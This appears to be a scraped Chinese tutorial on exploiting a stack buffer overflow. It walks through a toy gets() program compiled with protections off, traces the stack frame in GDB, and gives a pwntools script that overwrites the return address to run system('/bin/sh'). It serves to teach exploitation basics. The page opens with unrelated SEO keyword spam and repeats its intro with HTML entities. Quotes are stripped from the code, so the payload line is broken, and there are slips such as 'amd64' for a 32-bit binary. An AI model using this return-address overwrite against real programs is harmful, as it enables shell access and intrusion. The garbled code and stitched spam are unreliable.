做亚克力在那个网站上好,seo网站推广是什么意思,苏州设计公司,深圳小程序制作排名Stack Overflow是一种程序的运行时#xff08;runtime#xff09;错误#xff0c;中文翻译过来叫做“栈溢出”。栈溢出原理是指程序向栈中的某个变量中写入的字节数超过了这个变量本身所申请的字节数#xff0c;导致与其相邻的栈中的变量值被改变。
在本篇文章中#xff…Stack Overflow是一种程序的运行时runtime错误中文翻译过来叫做“栈溢出”。栈溢出原理是指程序向栈中的某个变量中写入的字节数超过了这个变量本身所申请的字节数导致与其相邻的栈中的变量值被改变。
在本篇文章中我详细介绍了如何利用程序中本身存在的栈溢出漏洞达到劫持程序流的目的进而实现system(/bin/sh)的效果如果你也对这个知识点感兴趣欢迎阅读全文内容篇幅较长阅读时长约12分钟。 C语言程序
来分析劫持程序流的过程
#include stdio.h
#include string.h
void success() { puts(You Hava already controlled it.);system(/bin/sh); }
void vulnerable() {char s[12];gets(s);puts(s);return;
}
int main(int argc, char **argv) {vulnerable();return 0;
}
#编译
gcc -m32 -fno-stack-protector 1.c -o hello_world -z execstack
编译后用checksec确认Canary、PIE、NX这三个表示三种保护方式此demo不涉及绕过保护方式因此保护全关。 运行
从运行的角度看程序 可以看到我们在键盘上输入的东西会在显示器再输出一遍这是因为在vulnerable( )函数中的get( )、puts两个函数的原因。
我们来从运行的角度来分析一下C语言程序程序会认为main函数是入口首先会执行main函数main函数中调用vulnerable函数之后再返回main函数至此程序结束。
但是发现这里还有一个函数是success函数里面有system(/bin/sh)这个内置的危险函数试想一下如果能够在程序运行的过程中劫持程序流是不是就能够通过这个二进制程序拿到此机器的shell。 从汇编的角度看程序 main函数的地址为0x080484BB
vulnerable函数的地址为0x08048494
success函数的地址为0x0804846B
plt表和got表中有gets 、puts、system等函数这些是属于内置函数在程序运行的过程中有动态链**接的过程。
main函数 在vulnerable函数中主要就是gets和puts函数这里我们注意一下我们就是用vulnerable这个函数来进行程序劫持的。
success函数 打印一句话you have already controlled it还有就是system/bin/sh要想办法把程序执行到success函数中。
用GDB进行调试 在main函数中下一个断点开始调试。 进入到vulnerable函数 push ebp
move ebpesp
sub esp 0x18在这先记录两个地址
EBP 0xffffd068
ESP 0xffffd05c
这三句汇编语言是经典的开辟栈空间对于计算机来说它会认为bp和sp是栈底和栈顶。
在经过push ebp之后 EBP 0xffffd068
ESP 0xffffd058
ebp 存储在了0XFFFFD05C这个位置上ESP由 0xffffd05c变为了 0xffffd058 所以push ebp做了两个事情首先是把ebp的值存放在了栈上然后espesp-4。 move ebpesp这个汇编指令就很简单了把esp的值复制一份给ebp 现在ebp和esp指向同一位置都为0xffffd058。
之后是sub esp0x18 EBP 0xffffd058
ESP 0xffffd040
至此栈空间开辟完成。 再来分析gets和puts函数
0x8048494 vulnerable push ebp
0x8048495 vulnerable1 mov ebp, esp
0x8048497 vulnerable3 sub esp, 0x18
0x804849a vulnerable6 sub esp, 0xc
► 0x804849d vulnerable9 lea eax, [ebp - 0x14] 0xf7fb9dbc
0x80484a0 vulnerable12 push eax
0x80484a1 vulnerable13 call getsplt 0x8048320
ebp-0x140xffffd058-0x140xffffd044 get函数会请求键盘输入 我们输入aaaaaaaabbbbbbbb 从0xffffd044开始填充字符正好是0x10个字符接着我们可以看到0xffffd086这个地址这是之前的ebp。
我们用多点垃圾字符进行填充这样就会把ebp的值给覆盖掉了。 接着执行会看到ret的时候就不能够返回正常的main函数了。 看一下正常情况如果是正常情况的话会返回到main函数中这里需要注意一个细节EIP这个寄存器计算机会执行EIP指向的东西。根据这个原理就可以进行构造当ret的时候EIP指向的东西为success函数的地址即可这样就可以调用success函数了从而达到劫持程序流的目的。 单步调试vulnerable函数
进入vulnerable函数之前
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0
进入vulnerable函数之后
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main22) ◂— mov eax, 0
push ebp ebp压入栈中
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
move ebpesp 导致ebp和esp同一个值
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
sub esp0x18
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
add esp0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp, 0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
push eax
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd030 —▸ 0xffffd044 ◂— aaaa
add esp0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
leave leave指令分为两步move espebp pop ebp
也就是说把bp的值给spbpsp0xffffd068 之后是弹出ebp的值spsp-4
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main22) ◂— mov eax, 0
ret 相当于pop eip
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0 构造的时候首先利用gets函数用垃圾字符把栈空间填满之后用四个字符覆盖ebp紧接着加上success函数的地址就可以了。
劫持程序流
第一步算距离
首先我们需要先算出gets函数让我们输入的地方距离EBP的距离即0xffffd44-0xffffd0580x14。 第二步用数据填充 0x14就是20个字符用20个a进行填充。 这是20个字符接着用4字符覆盖ebp再加上success函数的地址就可以了。
##codingutf8
from pwn import *
import pwnlib
context(os linux,archamd64,log_leveldebug)
## 构造与程序交互的对象
sh process(./hello_world)
success_addr 0x0804846B
## 构造payload
payload a * 0x14 bbbb p32(success_addr)
print p32(success_addr)
pwnlib.gdb.attach(sh)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive() payload a * 0x14 bbbb p32(success_addr) 原理就是利用变量覆盖栈空间之后再覆盖掉原始的ebp寄存器的内容紧接着就是返回地址了把success函数的地址打进去就可以执行success函数了。